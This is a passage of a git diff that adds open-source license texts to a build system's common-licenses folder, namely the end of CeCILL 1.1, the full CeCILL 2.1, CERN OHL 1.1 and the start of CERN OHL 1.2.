+
+9.2. The Licensor hereby represents, in good faith, that it is entitled to grant all the rights on the Software (including in particular the rights set forth in Article 5 hereof over the Software).
+
+9.3. The Licensee acknowledges that the Software is supplied "as is" by the Licensor without any or all other express or tacit warranty, other than that provided for in Article 9.2 and, in particular, without any or all warranty as to its market value, its secured, innovative or relevant nature.
+
+Specifically, the Licensor does not warrant that the Software is free from any or all error, that it shall operate continuously, that it shall be compatible with the Licensee's own equipment and its software configuration, nor that it shall meet the Licensee's requirements.
+
+9.4. The Licensor does not either expressly or tacitly warrant that the Software does not infringe any or all third party intellectual right relating to a patent, software or to any or all other property right. Moreover, the Licensor shall not hold the Licensee harmless against any or all proceedings for infringement that may be instituted in respect of the use, modification and redistribution of the Software. Nevertheless, should such proceedings be instituted against the Licensee, the Licensor shall provide it with technical and legal assistance for its defense. Such technical and legal assistance shall be decided upon on a case-by-case basis between the relevant Licensor and the Licensee pursuant to a memorandum of understanding. The Licensor disclaims any or all liability as regards the Licensee's use of the Software's name. No warranty shall be provided as regards the existence of prior rights over the name of the Software and as regards the existence of a trademark.
+
+Article 10 - TERMINATION
+
+10.1. In the event of a breach by the Licensee of its obligations hereunder, the Licensor may automatically terminate this Agreement thirty (30) days after notice has been sent to the Licensee and has remained ineffective.
+
+10.2. The Licensee whose Agreement is terminated shall no longer be authorized to use, modify or distribute the Software. However, any or all licenses that it may have granted prior to termination of the Agreement shall remain valid subject to their having been granted in compliance with the terms and conditions hereof.
+
+Article 11 - MISCELLANEOUS PROVISIONS
+
+11.1. EXCUSABLE EVENTS
+
+Neither Party shall be liable for any or all delay, or failure to perform the Agreement, that may be attributable to an event of force majeure, an act of God or an outside cause, such as, notably, defective functioning, or interruptions affecting the electricity or telecommunications networks, blocking of the network following a virus attack, the intervention of the government authorities, natural disasters, water damage, earthquakes, fire, explosions, strikes and labor unrest, war, etc.
+
+11.2. The fact that either Party may fail, on one or several occasions, to invoke one or several of the provisions hereof, shall under no circumstances be interpreted as being a waiver by the interested Party of its entitlement to invoke said provision(s) subsequently.
+
+11.3. The Agreement cancels and replaces any or all previous agreement, whether written or oral, between the Parties and having the same purpose, and constitutes the entirety of the agreement between said Parties concerning said purpose. No supplement or modification to the terms and conditions hereof shall be effective as regards the Parties unless it is made in writing and signed by their duly authorized representatives.
+
+11.4. In the event that one or several of the provisions hereof were to conflict with a current or future applicable act or legislative text, said act or legislative text shall take precedence, and the Parties shall make the necessary amendments so as to be in compliance with said act or legislative text. All the other provisions shall remain effective. Similarly, the fact that a provision of the Agreement may be null and void, for any reason whatsoever, shall not cause the Agreement as a whole to be null and void.
+
+11.5. LANGUAGE
+
+The Agreement is drafted in both French and English. In the event of a conflict as regards construction, the French version shall be deemed authentic.
+
+Article 12 - NEW VERSIONS OF THE AGREEMENT
+
+12.1. Any or all person is authorized to duplicate and distribute copies of this Agreement.
+
+12.2. So as to ensure coherence, the wording of this Agreement is protected and may only be modified by the authors of the License, that reserve the right to periodically publish updates or new versions of the Agreement, each with a separate number. These subsequent versions may address new issues encountered by Free Software.
+
+12.3. Any or all Software distributed under a given version of the Agreement may only be subsequently distributed under the same version of the Agreement, or a subsequent version, subject to the provisions of article 5.3.4.
+
+Article 13 - GOVERNING LAW AND JURISDICTION
+
+13.1. The Agreement is governed by French law. The Parties agree to endeavor to settle the disagreements or disputes that may arise during the performance of the Agreement out-of-court.
+
+13.2. In the absence of an out-of-court settlement within two (2) months as from their occurrence, and unless emergency proceedings are necessary, the disagreements or disputes shall be referred to the Paris Courts having jurisdiction, by the first Party to take action.
+
+ Version 1.1 of 10/26/2004
diff --git a/meta/files/common-licenses/CECILL-2.1 b/meta/files/common-licenses/CECILL-2.1
new file mode 100644
index 0000000000..d290c0694a
--- /dev/null
+++ b/meta/files/common-licenses/CECILL-2.1
@@ -0,0 +1,518 @@
+
+ CeCILL FREE SOFTWARE LICENSE AGREEMENT
+
+Version 2.1 dated 2013-06-21
+
+
+ Notice
+
+This Agreement is a Free Software license agreement that is the result
+of discussions between its authors in order to ensure compliance with
+the two main principles guiding its drafting:
+
+ * firstly, compliance with the principles governing the distribution
+ of Free Software: access to source code, broad rights granted to users,
+ * secondly, the election of a governing law, French law, with which it
+ is conformant, both as regards the law of torts and intellectual
+ property law, and the protection that it offers to both authors and
+ holders of the economic rights over software.
+
+The authors of the CeCILL (for Ce[a] C[nrs] I[nria] L[ogiciel] L[ibre])
+license are:
+
+Commissariat à l'énergie atomique et aux énergies alternatives - CEA, a
+public scientific, technical and industrial research establishment,
+having its principal place of business at 25 rue Leblanc, immeuble Le
+Ponant D, 75015 Paris, France.
+
+Centre National de la Recherche Scientifique - CNRS, a public scientific
+and technological establishment, having its principal place of business
+at 3 rue Michel-Ange, 75794 Paris cedex 16, France.
+
+Institut National de Recherche en Informatique et en Automatique -
+Inria, a public scientific and technological establishment, having its
+principal place of business at Domaine de Voluceau, Rocquencourt, BP
+105, 78153 Le Chesnay cedex, France.
+
+
+ Preamble
+
+The purpose of this Free Software license agreement is to grant users
+the right to modify and redistribute the software governed by this
+license within the framework of an open source distribution model.
+
+The exercising of this right is conditional upon certain obligations for
+users so as to preserve this status for all subsequent redistributions.
+
+In consideration of access to the source code and the rights to copy,
+modify and redistribute granted by the license, users are provided only
+with a limited warranty and the software's author, the holder of the
+economic rights, and the successive licensors only have limited liability.
+
+In this respect, the risks associated with loading, using, modifying
+and/or developing or reproducing the software by the user are brought to
+the user's attention, given its Free Software status, which may make it
+complicated to use, with the result that its use is reserved for
+developers and experienced professionals having in-depth computer
+knowledge. Users are therefore encouraged to load and test the
+suitability of the software as regards their requirements in conditions
+enabling the security of their systems and/or data to be ensured and,
+more generally, to use and operate it in the same conditions of
+security. This Agreement may be freely reproduced and published,
+provided it is not altered, and that no provisions are either added or
+removed herefrom.
+
+This Agreement may apply to any or all software for which the holder of
+the economic rights decides to submit the use thereof to its provisions.
+
+Frequently asked questions can be found on the official website of the
+CeCILL licenses family (http://www.cecill.info/index.en.html) for any
+necessary clarification.
+
+
+ Article 1 - DEFINITIONS
+
+For the purpose of this Agreement, when the following expressions
+commence with a capital letter, they shall have the following meaning:
+
+Agreement: means this license agreement, and its possible subsequent
+versions and annexes.
+
+Software: means the software in its Object Code and/or Source Code form
+and, where applicable, its documentation, "as is" when the Licensee
+accepts the Agreement.
+
+Initial Software: means the Software in its Source Code and possibly its
+Object Code form and, where applicable, its documentation, "as is" when
+it is first distributed under the terms and conditions of the Agreement.
+
+Modified Software: means the Software modified by at least one
+Contribution.
+
+Source Code: means all the Software's instructions and program lines to
+which access is required so as to modify the Software.
+
+Object Code: means the binary files originating from the compilation of
+the Source Code.
+
+Holder: means the holder(s) of the economic rights over the Initial
+Software.
+
+Licensee: means the Software user(s) having accepted the Agreement.
+
+Contributor: means a Licensee having made at least one Contribution.
+
+Licensor: means the Holder, or any other individual or legal entity, who
+distributes the Software under the Agreement.
+
+Contribution: means any or all modifications, corrections, translations,
+adaptations and/or new functions integrated into the Software by any or
+all Contributors, as well as any or all Internal Modules.
+
+Module: means a set of sources files including their documentation that
+enables supplementary functions or services in addition to those offered
+by the Software.
+
+External Module: means any or all Modules, not derived from the
+Software, so that this Module and the Software run in separate address
+spaces, with one calling the other when they are run.
+
+Internal Module: means any or all Module, connected to the Software so
+that they both execute in the same address space.
+
+GNU GPL: means the GNU General Public License version 2 or any
+subsequent version, as published by the Free Software Foundation Inc.
+
+GNU Affero GPL: means the GNU Affero General Public License version 3 or
+any subsequent version, as published by the Free Software Foundation Inc.
+
+EUPL: means the European Union Public License version 1.1 or any
+subsequent version, as published by the European Commission.
+
+Parties: mean both the Licensee and the Licensor.
+
+These expressions may be used both in singular and plural form.
+
+
+ Article 2 - PURPOSE
+
+The purpose of the Agreement is the grant by the Licensor to the
+Licensee of a non-exclusive, transferable and worldwide license for the
+Software as set forth in Article 5 <#scope> hereinafter for the whole
+term of the protection granted by the rights over said Software.
+
+
+ Article 3 - ACCEPTANCE
+
+3.1 The Licensee shall be deemed as having accepted the terms and
+conditions of this Agreement upon the occurrence of the first of the
+following events:
+
+ * (i) loading the Software by any or all means, notably, by
+ downloading from a remote server, or by loading from a physical medium;
+ * (ii) the first time the Licensee exercises any of the rights granted
+ hereunder.
+
+3.2 One copy of the Agreement, containing a notice relating to the
+characteristics of the Software, to the limited warranty, and to the
+fact that its use is restricted to experienced users has been provided
+to the Licensee prior to its acceptance as set forth in Article 3.1
+<#accepting> hereinabove, and the Licensee hereby acknowledges that it
+has read and understood it.
+
+
+ Article 4 - EFFECTIVE DATE AND TERM
+
+
+ 4.1 EFFECTIVE DATE
+
+The Agreement shall become effective on the date when it is accepted by
+the Licensee as set forth in Article 3.1 <#accepting>.
+
+
+ 4.2 TERM
+
+The Agreement shall remain in force for the entire legal term of
+protection of the economic rights over the Software.
+
+
+ Article 5 - SCOPE OF RIGHTS GRANTED
+
+The Licensor hereby grants to the Licensee, who accepts, the following
+rights over the Software for any or all use, and for the term of the
+Agreement, on the basis of the terms and conditions set forth hereinafter.
+
+Besides, if the Licensor owns or comes to own one or more patents
+protecting all or part of the functions of the Software or of its
+components, the Licensor undertakes not to enforce the rights granted by
+these patents against successive Licensees using, exploiting or
+modifying the Software. If these patents are transferred, the Licensor
+undertakes to have the transferees subscribe to the obligations set
+forth in this paragraph.
+
+
+ 5.1 RIGHT OF USE
+
+The Licensee is authorized to use the Software, without any limitation
+as to its fields of application, with it being hereinafter specified
+that this comprises:
+
+ 1. permanent or temporary reproduction of all or part of the Software
+ by any or all means and in any or all form.
+
+ 2. loading, displaying, running, or storing the Software on any or all
+ medium.
+
+ 3. entitlement to observe, study or test its operation so as to
+ determine the ideas and principles behind any or all constituent
+ elements of said Software. This shall apply when the Licensee
+ carries out any or all loading, displaying, running, transmission or
+ storage operation as regards the Software, that it is entitled to
+ carry out hereunder.
+
+
+ 5.2 ENTITLEMENT TO MAKE CONTRIBUTIONS
+
+The right to make Contributions includes the right to translate, adapt,
+arrange, or make any or all modifications to the Software, and the right
+to reproduce the resulting software.
+
+The Licensee is authorized to make any or all Contributions to the
+Software provided that it includes an explicit notice that it is the
+author of said Contribution and indicates the date of the creation thereof.
+
+
+ 5.3 RIGHT OF DISTRIBUTION
+
+In particular, the right of distribution includes the right to publish,
+transmit and communicate the Software to the general public on any or
+all medium, and by any or all means, and the right to market, either in
+consideration of a fee, or free of charge, one or more copies of the
+Software by any means.
+
+The Licensee is further authorized to distribute copies of the modified
+or unmodified Software to third parties according to the terms and
+conditions set forth hereinafter.
+
+
+ 5.3.1 DISTRIBUTION OF SOFTWARE WITHOUT MODIFICATION
+
+The Licensee is authorized to distribute true copies of the Software in
+Source Code or Object Code form, provided that said distribution
+complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+
+ 2. a notice relating to the limitation of both the Licensor's warranty
+ and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Object Code of the Software is
+redistributed, the Licensee allows effective access to the full Source
+Code of the Software for a period of at least three years from the
+distribution of the Software, it being understood that the additional
+acquisition cost of the Source Code shall not exceed the cost of the
+data transfer.
+
+
+ 5.3.2 DISTRIBUTION OF MODIFIED SOFTWARE
+
+When the Licensee makes a Contribution to the Software, the terms and
+conditions for the distribution of the resulting Modified Software
+become subject to all the provisions of this Agreement.
+
+The Licensee is authorized to distribute the Modified Software, in
+source code or object code form, provided that said distribution
+complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+
+ 2. a notice relating to the limitation of both the Licensor's warranty
+ and liability as set forth in Articles 8 and 9,
+
+and, in the event that only the object code of the Modified Software is
+redistributed,
+
+ 3. a note stating the conditions of effective access to the full source
+ code of the Modified Software for a period of at least three years
+ from the distribution of the Modified Software, it being understood
+ that the additional acquisition cost of the source code shall not
+ exceed the cost of the data transfer.
+
+
+ 5.3.3 DISTRIBUTION OF EXTERNAL MODULES
+
+When the Licensee has developed an External Module, the terms and
+conditions of this Agreement do not apply to said External Module, that
+may be distributed under a separate license agreement.
+
+
+ 5.3.4 COMPATIBILITY WITH OTHER LICENSES
+
+The Licensee can include a code that is subject to the provisions of one
+of the versions of the GNU GPL, GNU Affero GPL and/or EUPL in the
+Modified or unmodified Software, and distribute that entire code under
+the terms of the same version of the GNU GPL, GNU Affero GPL and/or EUPL.
+
+The Licensee can include the Modified or unmodified Software in a code
+that is subject to the provisions of one of the versions of the GNU GPL,
+GNU Affero GPL and/or EUPL and distribute that entire code under the
+terms of the same version of the GNU GPL, GNU Affero GPL and/or EUPL.
+
+
+ Article 6 - INTELLECTUAL PROPERTY
+
+
+ 6.1 OVER THE INITIAL SOFTWARE
+
+The Holder owns the economic rights over the Initial Software. Any or
+all use of the Initial Software is subject to compliance with the terms
+and conditions under which the Holder has elected to distribute its work
+and no one shall be entitled to modify the terms and conditions for the
+distribution of said Initial Software.
+
+The Holder undertakes that the Initial Software will remain ruled at
+least by this Agreement, for the duration set forth in Article 4.2 <#term>.
+
+
+ 6.2 OVER THE CONTRIBUTIONS
+
+The Licensee who develops a Contribution is the owner of the
+intellectual property rights over this Contribution as defined by
+applicable law.
+
+
+ 6.3 OVER THE EXTERNAL MODULES
+
+The Licensee who develops an External Module is the owner of the
+intellectual property rights over this External Module as defined by
+applicable law and is free to choose the type of agreement that shall
+govern its distribution.
+
+
+ 6.4 JOINT PROVISIONS
+
+The Licensee expressly undertakes:
+
+ 1. not to remove, or modify, in any manner, the intellectual property
+ notices attached to the Software;
+
+ 2. to reproduce said notices, in an identical manner, in the copies of
+ the Software modified or not.
+
+The Licensee undertakes not to directly or indirectly infringe the
+intellectual property rights on the Software of the Holder and/or
+Contributors, and to take, where applicable, vis-à-vis its staff, any
+and all measures required to ensure respect of said intellectual
+property rights of the Holder and/or Contributors.
+
+
+ Article 7 - RELATED SERVICES
+
+7.1 Under no circumstances shall the Agreement oblige the Licensor to
+provide technical assistance or maintenance services for the Software.
+
+However, the Licensor is entitled to offer this type of services. The
+terms and conditions of such technical assistance, and/or such
+maintenance, shall be set forth in a separate instrument. Only the
+Licensor offering said maintenance and/or technical assistance services
+shall incur liability therefor.
+
+7.2 Similarly, any Licensor is entitled to offer to its licensees, under
+its sole responsibility, a warranty, that shall only be binding upon
+itself, for the redistribution of the Software and/or the Modified
+Software, under terms and conditions that it is free to decide. Said
+warranty, and the financial terms and conditions of its application,
+shall be subject of a separate instrument executed between the Licensor
+and the Licensee.
+
+
+ Article 8 - LIABILITY
+
+8.1 Subject to the provisions of Article 8.2, the Licensee shall be
+entitled to claim compensation for any direct loss it may have suffered
+from the Software as a result of a fault on the part of the relevant
+Licensor, subject to providing evidence thereof.
+
+8.2 The Licensor's liability is limited to the commitments made under
+this Agreement and shall not be incurred as a result of in particular:
+(i) loss due the Licensee's total or partial failure to fulfill its
+obligations, (ii) direct or consequential loss that is suffered by the
+Licensee due to the use or performance of the Software, and (iii) more
+generally, any consequential loss. In particular the Parties expressly
+agree that any or all pecuniary or business loss (i.e. loss of data,
+loss of profits, operating loss, loss of customers or orders,
+opportunity cost, any disturbance to business activities) or any or all
+legal proceedings instituted against the Licensee by a third party,
+shall constitute consequential loss and shall not provide entitlement to
+any or all compensation from the Licensor.
+
+
+ Article 9 - WARRANTY
+
+9.1 The Licensee acknowledges that the scientific and technical
+state-of-the-art when the Software was distributed did not enable all
+possible uses to be tested and verified, nor for the presence of
+possible defects to be detected. In this respect, the Licensee's
+attention has been drawn to the risks associated with loading, using,
+modifying and/or developing and reproducing the Software which are
+reserved for experienced users.
+
+The Licensee shall be responsible for verifying, by any or all means,
+the suitability of the product for its requirements, its good working
+order, and for ensuring that it shall not cause damage to either persons
+or properties.
+
+9.2 The Licensor hereby represents, in good faith, that it is entitled
+to grant all the rights over the Software (including in particular the
+rights set forth in Article 5 <#scope>).
+
+9.3 The Licensee acknowledges that the Software is supplied "as is" by
+the Licensor without any other express or tacit warranty, other than
+that provided for in Article 9.2 <#good-faith> and, in particular,
+without any warranty as to its commercial value, its secured, safe,
+innovative or relevant nature.
+
+Specifically, the Licensor does not warrant that the Software is free
+from any error, that it will operate without interruption, that it will
+be compatible with the Licensee's own equipment and software
+configuration, nor that it will meet the Licensee's requirements.
+
+9.4 The Licensor does not either expressly or tacitly warrant that the
+Software does not infringe any third party intellectual property right
+relating to a patent, software or any other property right. Therefore,
+the Licensor disclaims any and all liability towards the Licensee
+arising out of any or all proceedings for infringement that may be
+instituted in respect of the use, modification and redistribution of the
+Software. Nevertheless, should such proceedings be instituted against
+the Licensee, the Licensor shall provide it with technical and legal
+expertise for its defense. Such technical and legal expertise shall be
+decided on a case-by-case basis between the relevant Licensor and the
+Licensee pursuant to a memorandum of understanding. The Licensor
+disclaims any and all liability as regards the Licensee's use of the
+name of the Software. No warranty is given as regards the existence of
+prior rights over the name of the Software or as regards the existence
+of a trademark.
+
+
+ Article 10 - TERMINATION
+
+10.1 In the event of a breach by the Licensee of its obligations
+hereunder, the Licensor may automatically terminate this Agreement
+thirty (30) days after notice has been sent to the Licensee and has
+remained ineffective.
+
+10.2 A Licensee whose Agreement is terminated shall no longer be
+authorized to use, modify or distribute the Software. However, any
+licenses that it may have granted prior to termination of the Agreement
+shall remain valid subject to their having been granted in compliance
+with the terms and conditions hereof.
+
+
+ Article 11 - MISCELLANEOUS
+
+
+ 11.1 EXCUSABLE EVENTS
+
+Neither Party shall be liable for any or all delay, or failure to
+perform the Agreement, that may be attributable to an event of force
+majeure, an act of God or an outside cause, such as defective
+functioning or interruptions of the electricity or telecommunications
+networks, network paralysis following a virus attack, intervention by
+government authorities, natural disasters, water damage, earthquakes,
+fire, explosions, strikes and labor unrest, war, etc.
+
+11.2 Any failure by either Party, on one or more occasions, to invoke
+one or more of the provisions hereof, shall under no circumstances be
+interpreted as being a waiver by the interested Party of its right to
+invoke said provision(s) subsequently.
+
+11.3 The Agreement cancels and replaces any or all previous agreements,
+whether written or oral, between the Parties and having the same
+purpose, and constitutes the entirety of the agreement between said
+Parties concerning said purpose. No supplement or modification to the
+terms and conditions hereof shall be effective as between the Parties
+unless it is made in writing and signed by their duly authorized
+representatives.
+
+11.4 In the event that one or more of the provisions hereof were to
+conflict with a current or future applicable act or legislative text,
+said act or legislative text shall prevail, and the Parties shall make
+the necessary amendments so as to comply with said act or legislative
+text. All other provisions shall remain effective. Similarly, invalidity
+of a provision of the Agreement, for any reason whatsoever, shall not
+cause the Agreement as a whole to be invalid.
+
+
+ 11.5 LANGUAGE
+
+The Agreement is drafted in both French and English and both versions
+are deemed authentic.
+
+
+ Article 12 - NEW VERSIONS OF THE AGREEMENT
+
+12.1 Any person is authorized to duplicate and distribute copies of this
+Agreement.
+
+12.2 So as to ensure coherence, the wording of this Agreement is
+protected and may only be modified by the authors of the License, who
+reserve the right to periodically publish updates or new versions of the
+Agreement, each with a separate number. These subsequent versions may
+address new issues encountered by Free Software.
+
+12.3 Any Software distributed under a given version of the Agreement may
+only be subsequently distributed under the same version of the Agreement
+or a subsequent version, subject to the provisions of Article 5.3.4
+<#compatibility>.
+
+
+ Article 13 - GOVERNING LAW AND JURISDICTION
+
+13.1 The Agreement is governed by French law. The Parties agree to
+endeavor to seek an amicable solution to any disagreements or disputes
+that may arise during the performance of the Agreement.
+
+13.2 Failing an amicable solution within two (2) months as from their
+occurrence, and unless emergency proceedings are necessary, the
+disagreements or disputes shall be referred to the Paris Courts having
+jurisdiction, by the more diligent Party.
diff --git a/meta/files/common-licenses/CERN-OHL-1.1 b/meta/files/common-licenses/CERN-OHL-1.1
new file mode 100644
index 0000000000..9fcefc9568
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-1.1
@@ -0,0 +1,47 @@
+CERN OHL v1.1
+2011-07-08 - CERN, Geneva, Switzerland
+CERN Open Hardware Licence v1.1
+
+Preamble
+Through this CERN Open Hardware Licence ("CERN OHL") version 1.1, the Organization wishes to disseminate its hardware designs (as published on http://www.ohwr.org/) as widely as possible, and generally to foster collaboration among public research hardware designers. The CERN OHL is copyright of CERN. Anyone is welcome to use the CERN OHL, in unmodified form only, for the distribution of his own Open Hardware designs. Any other right is reserved.
+
+1. Definitions
+In this Licence, the following terms have the following meanings:
+“Licence” means this CERN OHL.
+“Documentation” means schematic diagrams, designs, circuit or circuit board layouts, mechanical drawings, flow charts and descriptive text, and other explanatory material that is explicitly stated as being made available under the conditions of this Licence. The Documentation may be in any medium, including but not limited to computer files and representations on paper, film, or any other media.
+“Product” means either an entire, or any part of a, device built using the Documentation or the modified Documentation.
+“Licensee” means any natural or legal person exercising rights under this Licence.
+“Licensor” means any natural or legal person that creates or modifies Documentation and subsequently communicates to the public and/ or distributes the resulting Documentation under the terms and conditions of this Licence.
+A Licensee may at the same time be a Licensor, and vice versa.
+
+2. Applicability
+2.1 This Licence governs the use, copying, modification, communication to the public and distribution of the Documentation, and the manufacture and distribution of Products. By exercising any right granted under this Licence, the Licensee irrevocably accepts these terms and conditions.
+2.2 This Licence is granted by the Licensor directly to the Licensee, and shall apply worldwide and without limitation in time. The Licensee may assign his licence rights or grant sub-licences.
+2.3 This Licence does not apply to software, firmware, or code loaded into programmable devices which may be used in conjunction with the Documentation, the modified Documentation or with Products. The use of such software, firmware, or code is subject to the applicable licence terms and conditions.
+
+3. Copying, modification, communication to the public and distribution of the Documentation
+3.1 The Licensee shall keep intact all copyright and trademarks notices and all notices that refer to this Licence and to the disclaimer of warranties that is included in the Documentation. He shall include a copy thereof in every copy of the documentation or, as the case may be, modified Documentation, that he communicates to the public or distributes.
+3.2 The Licensee may use, copy, communicate to the public and distribute verbatim copies of the Documentation, in any medium, subject to the requirements specified in section 3.1.
+3.3 The Licensee may modify the Documentation or any portion thereof. The Licensee may communicate to the public and distribute the modified Documentation (thereby in addition to being a Licensee also becoming a Licensor), always provided that he shall:
+a. comply with section 3.1;
+b. cause the modified Documentation to carry prominent notices stating that the Licensee has modified the Documentation, with the date and details of the modifications;
+c. license the modified Documentation under the terms and conditions of this Licence or, where applicable, a later version of this Licence as may be issued by CERN; and
+d. send a copy of the modified Documentation to all Licensors that contributed to the parts of the Documentation that were modified, as well as to any other Licensor who has requested to receive a copy of the modified Documentation and has provided a means of contact with the Documentation.
+3.4 The Licence includes a licence to those patents or registered designs that are held by the Licensor, to the extent necessary to make use of the rights granted under this Licence. The scope of this section 3.4 shall be strictly limited to the parts of the Documentation or modified Documentation created by the Licensor.
+
+4. Manufacture and distribution of Products
+4.1 The Licensee may manufacture or distribute Products always provided that the Licensee distributes to each recipient of such Products a copy of the Documentation or modified Documentation, as applicable, and complies with section 3.
+4.2 The Licensee is invited to inform in writing any Licensor who has indicated its wish to receive this information about the type, quantity and dates of production of Products the Licensee has (had) manufactured.
+
+5. Warranty and liability
+5.1 DISCLAIMER – The Documentation and any modified Documentation are provided "as is" and any express or implied warranties, including, but not limited to, implied warranties of merchantability, of satisfactory quality, and fitness for a particular purpose or use are disclaimed in respect of the Documentation, the modified Documentation or any Product. The Licensor makes no representation that the Documentation, modified Documentation, or any Product, does or will not infringe any patent, copyright, trade secret or other proprietary right. The entire risk as to the use, quality, and performance of a Product shall be with the Licensee and not the Licensor. This disclaimer of warranty is an essential part of this Licence and a condition for the grant of any rights granted under this Licence. The Licensee warrants that it does not act in a consumer capacity.
+5.2 LIMITATION OF LIABILITY – The Licensor shall have no liability for direct, indirect, special, incidental, consequential, exemplary, punitive or other damages of any character including, without limitation, procurement of substitute goods or services, loss of use, data or profits, or business interruption, however caused and on any
+theory of contract, warranty, tort (including negligence), product liability or otherwise, arising in any way in relation to the Documentation, modified Documentation and/or the use, manufacture or distribution of a Product, even if advised of the possibility of such damages, and the Licensee shall hold the Licensor(s) free and harmless
+from any liability, costs, damages, fees and expenses, including claims by third parties, in relation to such use.
+
+6. General
+6.1 The rights granted under this Licence do not imply or represent any transfer or assignment of intellectual property rights to the Licensee.
+6.2 The Licensee shall not use or make reference to any of the names, acronyms, images or logos under which the Licensor is known, save in so far as required to comply with section 3. Any such permitted use or reference shall be factual and shall in no event suggest any kind of endorsement by the Licensor or its personnel of the modified Documentation or any Product, or any kind of implication by the Licensor or its personnel in the preparation of the modified Documentation or Product.
+6.3 CERN may publish updated versions of this Licence which retain the same general provisions as this version, but differ in detail so far this is required and reasonable. New versions will be published with a unique version number.
+6.4 This Licence shall terminate with immediate effect, upon written notice and without involvement of a court if the Licensee fails to comply with any of its terms and conditions, or if the Licensee initiates legal action against Licensor in relation to this Licence. Section 5 shall continue to apply.
+6.5 Except as may be otherwise agreed with the Intergovernmental Organization, any dispute with respect to this Licence involving an Intergovernmental Organization shall, by virtue of the latter's Intergovernmental status, be settled by international arbitration. The arbitration proceedings shall be held at the place where the Intergovernmental Organization has its seat. The arbitral award shall be final and binding upon the parties, who hereby expressly agree to renounce any form of appeal or revision.
diff --git a/meta/files/common-licenses/CERN-OHL-1.2 b/meta/files/common-licenses/CERN-OHL-1.2
new file mode 100644
index 0000000000..6a8f2ffa55
--- /dev/null
+++ b/meta/files/common-licenses/CERN-OHL-1.2
@@ -0,0 +1,49 @@
+CERN OHL v1.2
+2013-09-06 - CERN, Geneva, Switzerland
+CERN Open Hardware Licence v1.2
+
+Preamble
+Through this CERN Open Hardware Licence ("CERN OHL") version 1.2, CERN wishes to provide a tool to foster collaboration and sharing among hardware designers. The CERN OHL is copyright CERN. Anyone is welcome to use the CERN OHL, in unmodified form only, for the distribution of their own Open Hardware designs. Any other right is reserved. Release of hardware designs under the CERN OHL does not constitute an endorsement of the licensor or its designs nor does it imply any involvement by CERN in the development of such designs.
+
+1. Definitions
+In this Licence, the following terms have the following meanings:
+“Licence” means this CERN OHL.
+“Documentation” means schematic diagrams, designs, circuit or circuit board layouts, mechanical drawings, flow charts and descriptive text, and other explanatory material that is explicitly stated as being made available under the conditions of this Licence. The Documentation may be in any medium, including but not limited to computer files and representations on paper, film, or any other media.
+“Documentation Location” means a location where the Licensor has placed Documentation, and which he believes will be publicly accessible for at least three years from the first communication to the public or distribution of Documentation.
+“Product” means either an entire, or any part of a, device built using the Documentation or the modified Documentation.
+“Licensee” means any natural or legal person exercising rights under this Licence.
+“Licensor” means any natural or legal person that creates or modifies Documentation and subsequently communicates to the public and/ or distributes the resulting Documentation under the terms and conditions of this Licence.
+A Licensee may at the same time be a Licensor, and vice versa.
+Use of the masculine gender includes the feminine and neuter genders and is employed solely to facilitate reading.
+
+2. Applicability
+2.1. This Licence governs the use, copying, modification, communication to the public and distribution of the Documentation, and the manufacture and distribution of Products. By exercising any right granted under this Licence, the Licensee irrevocably accepts these terms and conditions.
+2.2. This Licence is granted by the Licensor directly to the Licensee, and shall apply worldwide and without limitation in time. The Licensee may assign his licence rights or grant sub-licences.
+2.3. This Licence does not extend to software, firmware, or code loaded into programmable devices which may be used in conjunction with the Documentation, the modified Documentation or with Products, unless such software, firmware, or code is explicitly expressed to be subject to this Licence. The use of such software, firmware, or code is otherwise subject to the applicable licence terms and conditions.
+
+3. Copying, modification, communication to the public and distribution of the Documentation
+3.1. The Licensee shall keep intact all copyright and trademarks notices, all notices referring to Documentation Location, and all notices that refer to this Licence and to the disclaimer of warranties that are included in the Documentation. He shall include a copy thereof in every copy of the Documentation or, as the case may be, modified Documentation, that he communicates to the public or distributes.
+3.2. The Licensee may copy, communicate to the public and distribute verbatim copies of the Documentation, in any medium, subject to the requirements specified in section 3.1.
+3.3. The Licensee may modify the Documentation or any portion thereof provided that upon modification of the Documentation, the Licensee shall make the modified Documentation available from a Documentation Location such that it can be easily located by an original Licensor once the Licensee communicates to the public or distributes the modified Documentation under section 3.4, and, where required by section 4.1, by a recipient of a Product. However, the Licensor shall not assert his rights under the foregoing proviso unless or until a Product is distributed.
+3.4. The Licensee may communicate to the public and distribute the modified Documentation (thereby in addition to being a Licensee also becoming a Licensor), always provided that he shall:
+a) comply with section 3.1;
+b) cause the modified Documentation to carry prominent notices stating that the Licensee has modified the Documentation, with the date and description of the modifications;
+c) cause the modified Documentation to carry a new Documentation Location notice if the original Documentation provided for one;
+d) make available the modified Documentation at the same level of abstraction as that of the Documentation, in the preferred format for making modifications to it (e.g. the native format of the CAD tool as applicable), and in the event that format is proprietary, in a format viewable with a tool licensed under an OSI-approved license if the proprietary tool can create it; and
+e) license the modified Documentation under the terms and conditions of this Licence or, where applicable, a later version of this Licence as may be issued by CERN.
+3.5. The Licence includes a non-exclusive licence to those patents or registered designs that are held by, under the control of, or sub-licensable by the Licensor, to the extent necessary to make use of the rights granted under this Licence. The scope of this section 3.5 shall be strictly limited to the parts of the Documentation or modified Documentation created by the Licensor.
+
+4. Manufacture and distribution of Products
+4.1. The Licensee may manufacture or distribute Products always provided that, where such manufacture or distribution requires a licence under this Licence the Licensee provides to each recipient of such Products an easy means of accessing a copy of the Documentation or modified Documentation, as applicable, as set out in section 3.
+4.2. The Licensee is invited to inform any Licensor who has indicated his wish to receive this information about the type, quantity and dates of production of Products the Licensee has (had) manufactured
+
+5. Warranty and liability
+5.1. DISCLAIMER – The Documentation and any modified Documentation are provided "as is" and any express or implied warranties, including, but not limited to, implied warranties of merchantability, of satisfactory quality, non-infringement of third party rights, and fitness for a particular purpose or use are disclaimed in respect of the Documentation, the modified Documentation or any Product. The Licensor makes no representation that the Documentation, modified Documentation, or any Product, does or will not infringe any patent, copyright, trade secret or other proprietary right. The entire risk as to the use, quality, and performance of a Product shall be with the Licensee and not the Licensor. This disclaimer of warranty is an essential part of this Licence and a condition for the grant of any rights granted under this Licence. The Licensee warrants that it does not act in a consumer capacity.
